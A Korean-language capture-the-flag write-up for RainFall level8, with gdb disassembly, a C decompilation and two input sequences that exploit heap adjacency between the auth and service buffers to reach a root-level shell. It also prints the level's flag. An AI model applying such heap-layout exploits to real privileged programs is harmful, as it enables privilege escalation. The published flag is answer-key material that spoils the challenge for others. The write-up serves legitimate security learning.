level8

태그	Assembly BufferOverflow Shell
상태	완료

풀이과정

겪었던 어려움

x/s를 통해서 repz cmpsb를 통해서 확인하고자 하는 문자열이 어떤 문자열인지 확인하는데 오래걸렸다.

기본기는 차갑다.. SO ICY..

풀이과정

여태와 같이 실행파일이 하나 있는데, 이것은 인자를 받는 형태는 아닌, 내부에서 값을 입력함에 따라 변화가 있는 것으로 판단된다.

그래서 gdb로 확인해본 결과 내부는 아래와 같이 작성되어있었다.

```
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x080483c4  _init
0x08048410  printf
0x08048410  printf@plt
0x08048420  free
0x08048420  free@plt
0x08048430  strdup
0x08048430  strdup@plt
0x08048440  fgets
0x08048440  fgets@plt
0x08048450  fwrite
0x08048450  fwrite@plt
0x08048460  strcpy
0x08048460  strcpy@plt
```

```
0x08048470  malloc
0x08048470  malloc@plt
0x08048480  system
0x08048480  system@plt
0x08048490  __gmon_start__
0x08048490  __gmon_start__@plt
0x080484a0  __libc_start_main
0x080484a0  __libc_start_main@plt
0x080484b0  _start
0x080484e0  __do_global_dtors_aux
0x08048540  frame_dummy
0x08048564  main
0x08048740  __libc_csu_init
0x080487b0  __libc_csu_fini
0x080487b2  __i686.get_pc_thunk.bx
0x080487c0  __do_global_ctors_aux
0x080487ec  _fini
```

```
(gdb) info variables
All defined variables:

Non-debugging symbols:
0x08048808  _fp_hw
0x0804880c  _IO_stdin_used
0x08048948  __FRAME_END__
0x0804994c  __CTOR_LIST__
0x0804994c  __init_array_end
0x0804994c  __init_array_start
0x08049950  __CTOR_END__
0x08049954  __DTOR_LIST__
0x08049958  __DTOR_END__
0x0804995c  __JCR_END__
0x0804995c  __JCR_LIST__
0x08049960  _DYNAMIC
0x08049a2c  _GLOBAL_OFFSET_TABLE_
0x08049a60  __data_start
0x08049a60  data_start
0x08049a64  __dso_handle
0x08049a80  stdin@@GLIBC_2.0
0x08049aa0  stdout@@GLIBC_2.0
0x08049aa4  completed.6159
0x08049aa8  dtor_idx.6161
0x08049aac  auth
0x08049ab0  service
```

```
(gdb) disas main
Dump of assembler code for function main:
   0x08048564 <+0>:     push   %ebp
   0x08048565 <+1>:     mov    %esp,%ebp
   0x08048567 <+3>:     push   %edi
   0x08048568 <+4>:     push   %esi
   0x08048569 <+5>:     and    $0xfffffff0,%esp
   0x0804856c <+8>:     sub    $0xa0,%esp
   0x08048572 <+14>:    jmp    0x8048575 <main+17>
   0x08048574 <+16>:    nop
   0x08048575 <+17>:    mov    0x8049ab0,%ecx
   0x0804857b <+23>:    mov    0x8049aac,%edx
   0x08048581 <+29>:    mov    $0x8048810,%eax
   0x08048586 <+34>:    mov    %ecx,0x8(%esp)
   0x0804858a <+38>:    mov    %edx,0x4(%esp)
   0x0804858e <+42>:    mov    %eax,(%esp)
   0x08048591 <+45>:    call   0x8048410 <printf@plt>
   0x08048596 <+50>:    mov    0x8049a80,%eax
   0x0804859b <+55>:    mov    %eax,0x8(%esp)
   0x0804859f <+59>:    movl   $0x80,0x4(%esp)
   0x080485a7 <+67>:    lea    0x20(%esp),%eax
   0x080485ab <+71>:    mov    %eax,(%esp)
   0x080485ae <+74>:    call   0x8048440 <fgets@plt>
   0x080485b3 <+79>:    test   %eax,%eax
   0x080485b5 <+81>:    je     0x804872c <main+456>
   0x080485bb <+87>:    lea    0x20(%esp),%eax
   0x080485bf <+91>:    mov    %eax,%edx
   0x080485c1 <+93>:    mov    $0x8048819,%eax
   0x080485c6 <+98>:    mov    $0x5,%ecx
   0x080485cb <+103>:   mov    %edx,%esi
   0x080485cd <+105>:   mov    %eax,%edi
   0x080485cf <+107>:   repz cmpsb %es:(%edi),%ds:(%esi)
   0x080485d1 <+109>:   seta   %dl
   0x080485d4 <+112>:   setb   %al
   0x080485d7 <+115>:   mov    %edx,%ecx
   0x080485d9 <+117>:   sub    %al,%cl
   0x080485db <+119>:   mov    %ecx,%eax
   0x080485dd <+121>:   movsbl %al,%eax
   0x080485e0 <+124>:   test   %eax,%eax
   0x080485e2 <+126>:   jne    0x8048642 <main+222>
   0x080485e4 <+128>:   movl   $0x4,(%esp)
   0x080485eb <+135>:   call   0x8048470 <malloc@plt>
   0x080485f0 <+140>:   mov    %eax,0x8049aac
   0x080485f5 <+145>:   mov    0x8049aac,%eax
   0x080485fa <+150>:   movl   $0x0,(%eax)
```

```
0x08048600 <+156>:   lea    0x20(%esp),%eax
0x08048604 <+160>:   add    $0x5,%eax
0x08048607 <+163>:   movl   $0xffffffff,0x1c(%esp)
0x0804860f <+171>:   mov    %eax,%edx
0x08048611 <+173>:   mov    $0x0,%eax
0x08048616 <+178>:   mov    0x1c(%esp),%ecx
0x0804861a <+182>:   mov    %edx,%edi
0x0804861c <+184>:   repnz scas %es:(%edi),%al
0x0804861e <+186>:   mov    %ecx,%eax
0x08048620 <+188>:   not    %eax
0x08048622 <+190>:   sub    $0x1,%eax
0x08048625 <+193>:   cmp    $0x1e,%eax
0x08048628 <+196>:   ja     0x8048642 <main+222>
0x0804862a <+198>:   lea    0x20(%esp),%eax
0x0804862e <+202>:   lea    0x5(%eax),%edx
0x08048631 <+205>:   mov    0x8049aac,%eax
0x08048636 <+210>:   mov    %edx,0x4(%esp)
0x0804863a <+214>:   mov    %eax,(%esp)
0x0804863d <+217>:   call   0x8048460 <strcpy@plt>
0x08048642 <+222>:   lea    0x20(%esp),%eax
0x08048646 <+226>:   mov    %eax,%edx
0x08048648 <+228>:   mov    $0x804881f,%eax
0x0804864d <+233>:   mov    $0x5,%ecx
0x08048652 <+238>:   mov    %edx,%esi
0x08048654 <+240>:   mov    %eax,%edi
0x08048656 <+242>:   repz cmpsb %es:(%edi),%ds:(%esi)
0x08048658 <+244>:   seta   %dl
0x0804865b <+247>:   setb   %al
0x0804865e <+250>:   mov    %edx,%ecx
0x08048660 <+252>:   sub    %al,%cl
0x08048662 <+254>:   mov    %ecx,%eax
0x08048664 <+256>:   movsbl %al,%eax
0x08048667 <+259>:   test   %eax,%eax
0x08048669 <+261>:   jne    0x8048678 <main+276>
0x0804866b <+263>:   mov    0x8049aac,%eax
0x08048670 <+268>:   mov    %eax,(%esp)
0x08048673 <+271>:   call   0x8048420 <free@plt>
0x08048678 <+276>:   lea    0x20(%esp),%eax
0x0804867c <+280>:   mov    %eax,%edx
0x0804867e <+282>:   mov    $0x8048825,%eax
0x08048683 <+287>:   mov    $0x6,%ecx
0x08048688 <+292>:   mov    %edx,%esi
0x0804868a <+294>:   mov    %eax,%edi
0x0804868c <+296>:   repz cmpsb %es:(%edi),%ds:(%esi)
0x0804868e <+298>:   seta   %dl
```

```
   0x08048691 <+301>:   setb   %al
   0x08048694 <+304>:   mov    %edx,%ecx
   0x08048696 <+306>:   sub    %al,%cl
   0x08048698 <+308>:   mov    %ecx,%eax
   0x0804869a <+310>:   movsbl %al,%eax
   0x0804869d <+313>:   test   %eax,%eax
   0x0804869f <+315>:   jne    0x80486b5 <main+337>
   0x080486a1 <+317>:   lea    0x20(%esp),%eax
   0x080486a5 <+321>:   add    $0x7,%eax
   0x080486a8 <+324>:   mov    %eax,(%esp)
   0x080486ab <+327>:   call   0x8048430 <strdup@plt>
   0x080486b0 <+332>:   mov    %eax,0x8049ab0
   0x080486b5 <+337>:   lea    0x20(%esp),%eax
   0x080486b9 <+341>:   mov    %eax,%edx
   0x080486bb <+343>:   mov    $0x804882d,%eax
   0x080486c0 <+348>:   mov    $0x5,%ecx
   0x080486c5 <+353>:   mov    %edx,%esi
   0x080486c7 <+355>:   mov    %eax,%edi
   0x080486c9 <+357>:   repz cmpsb %es:(%edi),%ds:(%esi)
   0x080486cb <+359>:   seta   %dl
   0x080486ce <+362>:   setb   %al
   0x080486d1 <+365>:   mov    %edx,%ecx
   0x080486d3 <+367>:   sub    %al,%cl
   0x080486d5 <+369>:   mov    %ecx,%eax
   0x080486d7 <+371>:   movsbl %al,%eax
   0x080486da <+374>:   test   %eax,%eax
   0x080486dc <+376>:   jne    0x8048574 <main+16>
   0x080486e2 <+382>:   mov    0x8049aac,%eax
   0x080486e7 <+387>:   mov    0x20(%eax),%eax
   0x080486ea <+390>:   test   %eax,%eax
   0x080486ec <+392>:   je     0x80486ff <main+411>
   0x080486ee <+394>:   movl   $0x8048833,(%esp)
   0x080486f5 <+401>:   call   0x8048480 <system@plt>
   0x080486fa <+406>:   jmp    0x8048574 <main+16>
   0x080486ff <+411>:   mov    0x8049aa0,%eax
   0x08048704 <+416>:   mov    %eax,%edx
   0x08048706 <+418>:   mov    $0x804883b,%eax
   0x0804870b <+423>:   mov    %edx,0xc(%esp)
   0x0804870f <+427>:   movl   $0xa,0x8(%esp)
   0x08048717 <+435>:   movl   $0x1,0x4(%esp)
   0x0804871f <+443>:   mov    %eax,(%esp)
   0x08048722 <+446>:   call   0x8048450 <fwrite@plt>
   0x08048727 <+451>:   jmp    0x8048574 <main+16>
   0x0804872c <+456>:   nop
   0x0804872d <+457>:   mov    $0x0,%eax
```

```
   0x08048732 <+462>:   lea    -0x8(%ebp),%esp
   0x08048735 <+465>:   pop    %esi
   0x08048736 <+466>:   pop    %edi
   0x08048737 <+467>:   pop    %ebp
   0x08048738 <+468>:   ret
End of assembler dump.
```

여기서 `repz cmpsb` 라는 새로운 형태의 어셈블리 명령어를 볼 수 있었다.

repz cmpsb

여기서 repz는 repe와 똑같은데 ZF = 0 이거나 ECX = 0 이면 멈춰라는 뜻이다. 반대로는 repne가 있는데 같지 않으면 반복하라는 뜻으로 ZF = 1이거나 ECX = 0 이면 멈춰야한다.

그리고 cmpsb에서 cmps는 CoMPare String의 약자이고 b는 byte에 해당한다. 그래서 유사한 표현방법으로 cmpsw(word), cmpsd(double word)가 있다.

결론적으로 단순하게 말하면 비교조건문이라는 것을 파악했다.

다시 돌아가서 `info variables`를 통해서 변수로 auth(`0x8048819`)와 service(`0x8048825`)가 있고 이것을 비교하는 부분에서 사용한다는 것 까지 파악할 수 있었다. 하지만 다른 부분에서 `repz cmpsb` 통해서 비교하고자 하는 부분인 `0x804881f`, `0x804882d` 이 무슨 값인지 파악할 수 가 없었다.

이를 확인하기 위해서 아래와 같이 `x/s`를 이용하여 main 내부에서 사용하는 메모리 상태를 볼 수 있었고 이를 통해 login 변수와 reset 변수의 존재 및 변수가 `“auth”` 가 아닌 `“auth “` 라는 사실들을 알 수 있었다.

```
(gdb) x/100s main
0x8048564 <main>:    "U\211\345WV\203\344\360\201", <incomplete sequence
[...]
0x804880c <_IO_stdin_used>:  "\001"
0x804880e <_IO_stdin_used+2>:    "\002"
0x8048810:   "%p, %p \n"
0x8048819:   "auth "
0x804881f:   "reset"
0x8048825:   "service"
0x804882d:   "login"
0x8048833:   "/bin/sh"
0x804883b:   "Password:\n"
0x8048846:   ""
0x8048847:   ""
[...]
```

이러한 근거들을 합쳤을 때 어셈블리어를 아래와 같이 C로 디컴파일 할 수 있었다.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
```

```
char    *auth = NULL;
char    *service = NULL;

int    main()
{
    char    fgets_buf[129];

    while (1)
    {
        // 8048591
        printf("%p, %p \n", auth, service);

        // 80485ae
        if (fgets(fgets_buf, 128, stdin) == NULL)
            break;

        // 80485cf
        if (strncmp(fgets_buf, "auth ", 5) == 0)
        {
            // 80485eb
            auth = malloc(4);

            // 80485fa
            auth[0] = '\0';

            // 804861c
            if (strlen(fgets_buf - 5 - 1) > 30)
                continue;

            // 804863d
            strcpy(auth, fgets_buf + 5);
        }

        // 8048656
        if (strncmp(fgets_buf, "reset", 5) == 0)
            free(auth); // 8048673

        // 804868c
        if (strncmp(fgets_buf, "service", 6) == 0)
            service = strdup(fgets_buf + 7); // 80486ab

        // 80486c9
        if (strncmp(fgets_buf, "login", 5) == 0)
```

```
        {
            // 80486e7
            if (auth[32] != '\0')
                system("/bin/sh"); // 80486f5
            else
                fwrite("Password:\n", 1, 10, stdout); // 8048722
        }
    }
    return 0;
}
```

위 코드를 통해서 auth[32]가 '\0'이 아니게 만들어 줘야한다는 것을 파악할 수 있었다. 그래서 service가 auth 보다 16만큼 떨어져있다는 점을 이용 + 임의의 문자를 16만큼 넣어주어서 32 부분을 '\0'이 아니게 만들 수 있다는 점을 이용하면 정답을 알 수 있었다.

```
level8@RainFall:~$ ./level8
(nil), (nil)
auth
0x804a008, (nil)
serviceAAAAAAAAAAAAAAA
0x804a008, 0x804a018
login
$ whoami
level9
```

방법2

기존 방법과 유사한 방법인데 다른 방법은 다시 한번 service를 입력하여 메모리 위치를 16만큼 증가시키는 방법이다.

```
level8@RainFall:~$ ./level8
(nil), (nil)
auth
0x804a008, (nil)
service
0x804a008, 0x804a018
service
0x804a008, 0x804a028
login
$ whoami
level9
```

정답

`c542e581c5ba5162a85f767996e3247ed619ef6c6f7b76a59435545dc6259f8a`

출처

[GDB] gdb 명령어 모음 | MitNy.log
기록 저장소
https://mitny.github.io/articles/2016-08/gdb-command